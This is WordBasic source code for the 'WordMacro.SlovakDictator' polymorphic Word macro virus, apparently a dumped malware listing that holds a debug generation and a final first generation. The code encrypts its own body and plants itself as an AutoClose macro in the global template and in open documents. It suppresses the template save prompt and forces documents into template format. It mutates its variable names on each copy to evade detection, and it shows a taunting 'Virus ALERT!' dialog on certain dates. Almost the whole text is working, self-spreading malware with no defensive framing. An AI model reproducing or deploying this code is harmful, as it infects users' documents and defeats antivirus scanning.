SourceLinesTable$(34) = "WordVersion$ = AppInfo$(FixedConstant_2)"
SourceLinesTable$(35) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1))"
SourceLinesTable$(36) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandler"
SourceLinesTable$(37) = "Call InitializePolymorphTables"
SourceLinesTable$(38) = "'//// begin of hidden part ////"
SourceLinesTable$(39) = "DisableInput 1"
SourceLinesTable$(40) = "ShowBox"
SourceLinesTable$(41) = "CurFile$ = FileName$() : MsgBox @@File = @@ + CurFile$"
SourceLinesTable$(42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"
SourceLinesTable$(43) = ""
SourceLinesTable$(44) = "If CheckInstalled(0) = 0 Then"
SourceLinesTable$(45) = "MsgBox @@2Normal@@ : Infect(1)"
SourceLinesTable$(46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"
SourceLinesTable$(47) = "Goto ErrorHandler"
SourceLinesTable$(48) = "End If"
SourceLinesTable$(49) = ""
SourceLinesTable$(50) = "Dim dlg As FileSaveAs"
SourceLinesTable$(51) = "GetCurValues dlg"
SourceLinesTable$(52) = "If dlg.Format = 0 Then"
SourceLinesTable$(53) = "dlg.Format = 1"
SourceLinesTable$(54) = "FileSaveAs dlg"
SourceLinesTable$(55) = "End If"
SourceLinesTable$(56) = ""
SourceLinesTable$(57) = "If CheckInstalled(1) = 0 Then"
SourceLinesTable$(58) = "MsgBox @@2File@@ : Infect(3)"
SourceLinesTable$(59) = "FileSave"
SourceLinesTable$(60) = "End If"
SourceLinesTable$(61) = ""
SourceLinesTable$(62) = "ErrorHandler:"
SourceLinesTable$(63) = "End Sub"
SourceLinesTable$(64) = ""
SourceLinesTable$(65) = "Sub ShowBox"
SourceLinesTable$(66) = "ParlamentnyPuc = Day(Now())"
SourceLinesTable$(67) = "If ParlamentnyPuc <> 4 Or ParlamentnyPuc <> 11 Then"
SourceLinesTable$(68) = "Beep"
SourceLinesTable$(69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@"
SLOW_A.MAC

SourceLinesTable$(70) = "Text 29, 8, 349, 13, @@You're infected by WordMacro.SlovakDictator


virus@@, .Text1"
SourceLinesTable$(71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer's Macro Engine)
ver. 1.00@@, .Text2"
SourceLinesTable$(72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text3"
SourceLinesTable$(73) = "Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser,
Slovakia@@, .Text4"
SourceLinesTable$(74) = "Text 34, 98, 343, 13, @@Dis is the first world true polymorphic
macro virus !@@, .Text5"
SourceLinesTable$(75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"
SourceLinesTable$(76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxer V.M.@@, .Text6"
SourceLinesTable$(77) = "End Dialog"
SourceLinesTable$(78) = "Dim dlg As UserDialog"
SourceLinesTable$(79) = "Dialog(dlg)"
SourceLinesTable$(80) = "End If"
SourceLinesTable$(81) = "End Sub"
SourceLinesTable$(82) = ""
SourceLinesTable$(83) = "Function CheckInstalled(j)"
SourceLinesTable$(84) = "On Error Resume Next"
SourceLinesTable$(85) = "CheckInstalled = 0"
SourceLinesTable$(86) = "For i = 1 To CountMacros(j)"
SourceLinesTable$(87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInstalled = 1"
SourceLinesTable$(88) = "Next i"
SourceLinesTable$(89) = "End Function"
SourceLinesTable$(90) = ""
SourceLinesTable$(91) = "Sub Infect(WhatToInfect)"
SourceLinesTable$(92) = "SaveWindowName$ = WindowName$()"
SourceLinesTable$(93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToInfect, .Edit"
SourceLinesTable$(94) = "EditClear - 20"
SourceLinesTable$(95) = ""
SourceLinesTable$(96) = "'////"
SourceLinesTable$(97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"
SourceLinesTable$(98) = "'//// viditelna cast - nemenit !"
SourceLinesTable$(99) = "'////"
SourceLinesTable$(100) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(101) = "'////"
SourceLinesTable$(102) = "'//// premenna i ide od riadkov @@Sub OriginalMacroBody@@+1"
SourceLinesTable$(103) = "'//// az po @@Sub InitializePolymorphTables@@-1"
SourceLinesTable$(104) = "'//// velmi pozorne urcit tieto konstanty !!!"
SourceLinesTable$(105) = "'////"
SourceLinesTable$(106) = "For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(107) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34),
.Direction = 0, .MatchCase = 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
.ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0"
SourceLinesTable$(108) = ""
SourceLinesTable$(109) = "CryptConstant = - Int((4 + Rnd() * 10))"
SourceLinesTable$(110) = "Call DecryptLines"
SourceLinesTable$(111) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant)"
SourceLinesTable$(112) = "InsertPara"
SourceLinesTable$(113) = "FlushAllTables"
SourceLinesTable$(114) = "DocClose 1"
SourceLinesTable$(115) = "Activate SaveWindowName$"
SourceLinesTable$(116) = "End Sub"
SourceLinesTable$(117) = ""
SourceLinesTable$(118) = "Sub OriginalMacroBody"
SourceLinesTable$(119) = "'//// end of Hidden part ////"
SourceLinesTable$(120) = "ScreenUpdating FixedConstant_0"
SourceLinesTable$(121) = "DisableAutoMacros FixedConstant_1"
SourceLinesTable$(122) = "DecryptLines"
SourceLinesTable$(123) = ""
SLOW_A.MAC

SourceLinesTable$(124) = "SaveWindowName$ = WindowName$() : MsgBox @@Win=@@ + SaveWindowName$"


SourceLinesTable$(125) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Edit"
SourceLinesTable$(126) = "EditClear - FixedConstant_20"
SourceLinesTable$(127) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Insert
SourceLinesTable$(MyVarI1) : InsertPara : Next MyVarI1"
SourceLinesTable$(128) = ""
SourceLinesTable$(129) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace =
Chr$(Uvodzovky), .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(130) = ""
SourceLinesTable$(131) = "FlushAllTables"
SourceLinesTable$(132) = "MutateAllNames"
SourceLinesTable$(133) = "DocClose FixedConstant_1"
SourceLinesTable$(134) = "Activate SaveWindowName$"
SourceLinesTable$(135) = ""
SourceLinesTable$(136) = "Call TempMacro"
SourceLinesTable$(137) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Delete"
SourceLinesTable$(138) = ""
SourceLinesTable$(139) = "ErrorHandler:"
SourceLinesTable$(140) = "DisableAutoMacros FixedConstant_0"
SourceLinesTable$(141) = "ScreenUpdating FixedConstant_1"
SourceLinesTable$(142) = "End Sub"
SourceLinesTable$(143) = ""
SourceLinesTable$(144) = "Sub DecryptLines"
SourceLinesTable$(145) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(146) = "MyVarA4$ = @@@@"
SourceLinesTable$(147) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"
SourceLinesTable$(148) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"
SourceLinesTable$(149) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1),
MyVarK3, FixedConstant_1)) - CryptConstant)"
SourceLinesTable$(150) = "Next MyVarK3"
SourceLinesTable$(151) = "SourceLinesTable$(MyVarI1) = MyVarA4$"
SourceLinesTable$(152) = "Next MyVarI1"
SourceLinesTable$(153) = "End Sub"
SourceLinesTable$(154) = ""
SourceLinesTable$(155) = "Sub FlushAllTables"
SourceLinesTable$(156) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(157) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(158) = "InsertPara"
SourceLinesTable$(159) = "Next MyVarI1"
SourceLinesTable$(160) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(161) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(162) = "InsertPara"
SourceLinesTable$(163) = "Next MyVarI1"
SourceLinesTable$(164) = "End Sub"
SourceLinesTable$(165) = ""
SourceLinesTable$(166) = "Function GenName$"
SourceLinesTable$(167) = "MyVarA4$ = @@@@"
SourceLinesTable$(168) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() *
FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) :
Next MyVarI1"
SourceLinesTable$(169) = "GenName$ = MyVarA4$"
SourceLinesTable$(170) = "End Function"
SourceLinesTable$(171) = ""
SourceLinesTable$(172) = "Sub MutateAllNames"
SourceLinesTable$(173) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(174) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace =
GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
SLOW_A.MAC

FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,


.ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(175) = "Next MyVarI1"
SourceLinesTable$(176) = "End Sub"
SourceLinesTable$(177) = ""
SourceLinesTable$(178) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne


'//// Pozor na poradie premennych pri replacovani !!!
PolymorphNamesTable$(0) = "CryptConstant"
PolymorphNamesTable$(1) = "SourceLinesTable"
PolymorphNamesTable$(2) = "PolymorphNamesTable"
PolymorphNamesTable$(3) = "FixedConstant_0"
PolymorphNamesTable$(4) = "FixedConstant_10"
PolymorphNamesTable$(5) = "FixedConstant_22"
PolymorphNamesTable$(6) = "FixedConstant_7"
PolymorphNamesTable$(7) = "FixedConstant_1"
PolymorphNamesTable$(8) = "FixedConstant_20"
PolymorphNamesTable$(9) = "FixedConstant_2"
PolymorphNamesTable$(10) = "FixedConstant_65"
PolymorphNamesTable$(11) = "Uvodzovky"
PolymorphNamesTable$(12) = "Zavinac"
PolymorphNamesTable$(13) = "HiddenIntroLen"
PolymorphNamesTable$(14) = "HiddenStart"
PolymorphNamesTable$(15) = "HiddenLines"
PolymorphNamesTable$(16) = "PolyNames"
PolymorphNamesTable$(17) = "MyVarI1"
PolymorphNamesTable$(18) = "MyVarJ2"
PolymorphNamesTable$(19) = "MyVarK3"
PolymorphNamesTable$(20) = "MyVarA4"
PolymorphNamesTable$(21) = "WordVersion"
PolymorphNamesTable$(22) = "WordVer"
PolymorphNamesTable$(23) = "ErrorHandler"
PolymorphNamesTable$(24) = "DecryptLines"
PolymorphNamesTable$(25) = "SaveWindowName"
PolymorphNamesTable$(26) = "FlushAllTables"
PolymorphNamesTable$(27) = "MutateAllNames"
PolymorphNamesTable$(28) = "TempMacro"
PolymorphNamesTable$(29) = "GenName"
PolymorphNamesTable$(30) = "InitializePolymorphTables"
'//// iniciacna cast
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$() : MsgBox "Win=" + SaveWindowName$


ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
SLOW_A.MAC

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub

Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN1FINAL] "U"
Description: Finalna verzia WordMacro.SlovakDictator
bez DEBUG infa - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
SLOW_A.MAC

Dim Shared Zavinac


Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames

Sub MAIN
On Error Goto ErrorHandler
DisableInput 1
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 179
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SourceLinesTable$(8) = "Dim Shared Uvodzovky"
SourceLinesTable$(9) = "Dim Shared Zavinac"
SourceLinesTable$(10) = "Dim Shared CryptConstant"
SourceLinesTable$(11) = "Dim Shared SourceLinesTable$(200)"
SourceLinesTable$(12) = "Dim Shared HiddenIntroLen"
SourceLinesTable$(13) = "Dim Shared HiddenStart"
SourceLinesTable$(14) = "Dim Shared HiddenLines"
SourceLinesTable$(15) = "Dim Shared PolymorphNamesTable$(31)"
SourceLinesTable$(16) = "Dim Shared PolyNames"
SourceLinesTable$(17) = ""
SourceLinesTable$(18) = "Sub MAIN"
SourceLinesTable$(19) = "On Error Goto ErrorHandler"
SourceLinesTable$(20) = "DisableInput 1"
SourceLinesTable$(21) = "FixedConstant_0 = 0"
SourceLinesTable$(22) = "FixedConstant_1 = 1"
SourceLinesTable$(23) = "FixedConstant_2 = 2"
SourceLinesTable$(24) = "FixedConstant_7 = 7"
SourceLinesTable$(25) = "FixedConstant_10 = 10"
SourceLinesTable$(26) = "FixedConstant_20 = 20"
SourceLinesTable$(27) = "FixedConstant_22 = 22"
SourceLinesTable$(28) = "FixedConstant_65 = 65"
SourceLinesTable$(29) = "Uvodzovky = 34"
SLOW_A.MAC

SourceLinesTable$(30) = "Zavinac = 64"


SourceLinesTable$(31) = "HiddenIntroLen = 38"
SourceLinesTable$(32) = "HiddenStart = 120"
SourceLinesTable$(33) = "HiddenLines = 179"
SourceLinesTable$(34) = "PolyNames = 31"
SourceLinesTable$(35) = "WordVersion$ = AppInfo$(FixedConstant_2)"
SourceLinesTable$(36) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1))"
SourceLinesTable$(37) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandler"
SourceLinesTable$(38) = "Call InitializePolymorphTables"
SourceLinesTable$(39) = "'//// begin of hidden part ////"
SourceLinesTable$(40) = "ShowBox"
SourceLinesTable$(41) = "CurFile$ = FileName$()"
SourceLinesTable$(42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"
SourceLinesTable$(43) = ""
SourceLinesTable$(44) = "If CheckInstalled(0) = 0 Then"
SourceLinesTable$(45) = "Infect(1)"
SourceLinesTable$(46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"
SourceLinesTable$(47) = "Goto ErrorHandler"
SourceLinesTable$(48) = "End If"
SourceLinesTable$(49) = ""
SourceLinesTable$(50) = "Dim dlg As FileSaveAs"
SourceLinesTable$(51) = "GetCurValues dlg"
SourceLinesTable$(52) = "If dlg.Format = 0 Then"
SourceLinesTable$(53) = "dlg.Format = 1"
SourceLinesTable$(54) = "FileSaveAs dlg"
SourceLinesTable$(55) = "End If"
SourceLinesTable$(56) = ""
SourceLinesTable$(57) = "If CheckInstalled(1) = 0 Then"
SourceLinesTable$(58) = "Infect(3)"
SourceLinesTable$(59) = "FileSave"
SourceLinesTable$(60) = "End If"
SourceLinesTable$(61) = ""
SourceLinesTable$(62) = "ErrorHandler:"
SourceLinesTable$(63) = "End Sub"
SourceLinesTable$(64) = ""
SourceLinesTable$(65) = "Sub ShowBox"
SourceLinesTable$(66) = "ParlamentnyPuc = Day(Now())"
SourceLinesTable$(67) = "If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then"
SourceLinesTable$(68) = "Beep"
SourceLinesTable$(69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@"
SourceLinesTable$(70) = "Text 29, 8, 349, 13, @@You're infected by WordMacro.SlovakDictator
virus@@, .Text1"
SourceLinesTable$(71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer's Macro Engine)
ver. 1.00@@, .Text2"
SourceLinesTable$(72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text3"
SourceLinesTable$(73) = "Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser,
Slovakia@@, .Text4"
SourceLinesTable$(74) = "Text 34, 98, 343, 13, @@Dis is the first world true polymorphic
macro virus !@@, .Text5"
SourceLinesTable$(75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"
SourceLinesTable$(76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxer V.M.@@, .Text6"
SourceLinesTable$(77) = "End Dialog"
SourceLinesTable$(78) = "Dim dlg As UserDialog"
SourceLinesTable$(79) = "Dialog(dlg)"
SourceLinesTable$(80) = "End If"
SourceLinesTable$(81) = "End Sub"
SourceLinesTable$(82) = ""
SourceLinesTable$(83) = "Function CheckInstalled(j)"
SourceLinesTable$(84) = "On Error Resume Next"
SourceLinesTable$(85) = "CheckInstalled = 0"
SourceLinesTable$(86) = "For i = 1 To CountMacros(j)"
SourceLinesTable$(87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInstalled = 1"
SLOW_A.MAC

SourceLinesTable$(88) = "Next i"


SourceLinesTable$(89) = "End Function"
SourceLinesTable$(90) = ""
SourceLinesTable$(91) = "Sub Infect(WhatToInfect)"
SourceLinesTable$(92) = "SaveWindowName$ = WindowName$()"
SourceLinesTable$(93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToInfect, .Edit"
SourceLinesTable$(94) = "EditClear - 20"
SourceLinesTable$(95) = ""
SourceLinesTable$(96) = "'////"
SourceLinesTable$(97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"
SourceLinesTable$(98) = "'//// viditelna cast - nemenit !"
SourceLinesTable$(99) = "'////"
SourceLinesTable$(100) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(101) = "'////"
SourceLinesTable$(102) = "'//// premenna i ide od riadkov @@Sub OriginalMacroBody@@+1"
SourceLinesTable$(103) = "'//// az po @@Sub InitializePolymorphTables@@-1"
SourceLinesTable$(104) = "'//// velmi pozorne urcit tieto konstanty !!!"
SourceLinesTable$(105) = "'////"
SourceLinesTable$(106) = "For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(107) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34),
.Direction = 0, .MatchCase = 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
.ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0"
SourceLinesTable$(108) = ""
SourceLinesTable$(109) = "CryptConstant = - Int((4 + Rnd() * 10))"
SourceLinesTable$(110) = "Call DecryptLines"
SourceLinesTable$(111) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant)"
SourceLinesTable$(112) = "InsertPara"
SourceLinesTable$(113) = "FlushAllTables"
SourceLinesTable$(114) = "DocClose 1"
SourceLinesTable$(115) = "Activate SaveWindowName$"
SourceLinesTable$(116) = "End Sub"
SourceLinesTable$(117) = ""
SourceLinesTable$(118) = "Sub OriginalMacroBody"
SourceLinesTable$(119) = "'//// end of Hidden part ////"
SourceLinesTable$(120) = "ScreenUpdating FixedConstant_0"
SourceLinesTable$(121) = "DisableAutoMacros FixedConstant_1"
SourceLinesTable$(122) = "DecryptLines"
SourceLinesTable$(123) = ""
SourceLinesTable$(124) = "SaveWindowName$ = WindowName$()"
SourceLinesTable$(125) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Edit"
SourceLinesTable$(126) = "EditClear - FixedConstant_20"
SourceLinesTable$(127) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Insert
SourceLinesTable$(MyVarI1) : InsertPara : Next MyVarI1"
SourceLinesTable$(128) = ""
SourceLinesTable$(129) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace =
Chr$(Uvodzovky), .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(130) = ""
SourceLinesTable$(131) = "FlushAllTables"
SourceLinesTable$(132) = "MutateAllNames"
SourceLinesTable$(133) = "DocClose FixedConstant_1"
SourceLinesTable$(134) = "Activate SaveWindowName$"
SourceLinesTable$(135) = ""
SourceLinesTable$(136) = "Call TempMacro"
SourceLinesTable$(137) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Delete"
SourceLinesTable$(138) = ""
SourceLinesTable$(139) = "ErrorHandler:"
SourceLinesTable$(140) = "DisableAutoMacros FixedConstant_0"
SLOW_A.MAC

SourceLinesTable$(141) = "ScreenUpdating FixedConstant_1"


SourceLinesTable$(142) = "DisableInput FixedConstant_0"
SourceLinesTable$(143) = "End Sub"
SourceLinesTable$(144) = ""
SourceLinesTable$(145) = "Sub DecryptLines"
SourceLinesTable$(146) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(147) = "MyVarA4$ = @@@@"
SourceLinesTable$(148) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"
SourceLinesTable$(149) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"
SourceLinesTable$(150) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1),
MyVarK3, FixedConstant_1)) - CryptConstant)"
SourceLinesTable$(151) = "Next MyVarK3"
SourceLinesTable$(152) = "SourceLinesTable$(MyVarI1) = MyVarA4$"
SourceLinesTable$(153) = "Next MyVarI1"
SourceLinesTable$(154) = "End Sub"
SourceLinesTable$(155) = ""
SourceLinesTable$(156) = "Sub FlushAllTables"
SourceLinesTable$(157) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(158) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(159) = "InsertPara"
SourceLinesTable$(160) = "Next MyVarI1"
SourceLinesTable$(161) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(162) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(163) = "InsertPara"
SourceLinesTable$(164) = "Next MyVarI1"
SourceLinesTable$(165) = "End Sub"
SourceLinesTable$(166) = ""
SourceLinesTable$(167) = "Function GenName$"
SourceLinesTable$(168) = "MyVarA4$ = @@@@"
SourceLinesTable$(169) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() *
FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) :
Next MyVarI1"
SourceLinesTable$(170) = "GenName$ = MyVarA4$"
SourceLinesTable$(171) = "End Function"
SourceLinesTable$(172) = ""
SourceLinesTable$(173) = "Sub MutateAllNames"
SourceLinesTable$(174) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(175) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace =
GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(176) = "Next MyVarI1"
SourceLinesTable$(177) = "End Sub"
SourceLinesTable$(178) = ""
SourceLinesTable$(179) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne


'//// Pozor na poradie premennych pri replacovani !!!
PolymorphNamesTable$(0) = "CryptConstant"
PolymorphNamesTable$(1) = "SourceLinesTable"
PolymorphNamesTable$(2) = "PolymorphNamesTable"
PolymorphNamesTable$(3) = "FixedConstant_0"
PolymorphNamesTable$(4) = "FixedConstant_10"
PolymorphNamesTable$(5) = "FixedConstant_22"
PolymorphNamesTable$(6) = "FixedConstant_7"
PolymorphNamesTable$(7) = "FixedConstant_1"
PolymorphNamesTable$(8) = "FixedConstant_20"
PolymorphNamesTable$(9) = "FixedConstant_2"
PolymorphNamesTable$(10) = "FixedConstant_65"
SLOW_A.MAC

PolymorphNamesTable$(11) = "Uvodzovky"
PolymorphNamesTable$(12) = "Zavinac"
PolymorphNamesTable$(13) = "HiddenIntroLen"
PolymorphNamesTable$(14) = "HiddenStart"
PolymorphNamesTable$(15) = "HiddenLines"
PolymorphNamesTable$(16) = "PolyNames"
PolymorphNamesTable$(17) = "MyVarI1"
PolymorphNamesTable$(18) = "MyVarJ2"
PolymorphNamesTable$(19) = "MyVarK3"
PolymorphNamesTable$(20) = "MyVarA4"
PolymorphNamesTable$(21) = "WordVersion"
PolymorphNamesTable$(22) = "WordVer"
PolymorphNamesTable$(23) = "ErrorHandler"
PolymorphNamesTable$(24) = "DecryptLines"
PolymorphNamesTable$(25) = "SaveWindowName"
PolymorphNamesTable$(26) = "FlushAllTables"
PolymorphNamesTable$(27) = "MutateAllNames"
PolymorphNamesTable$(28) = "TempMacro"
PolymorphNamesTable$(29) = "GenName"
PolymorphNamesTable$(30) = "InitializePolymorphTables"
'//// iniciacna cast
ScreenUpdating FixedConstant_0
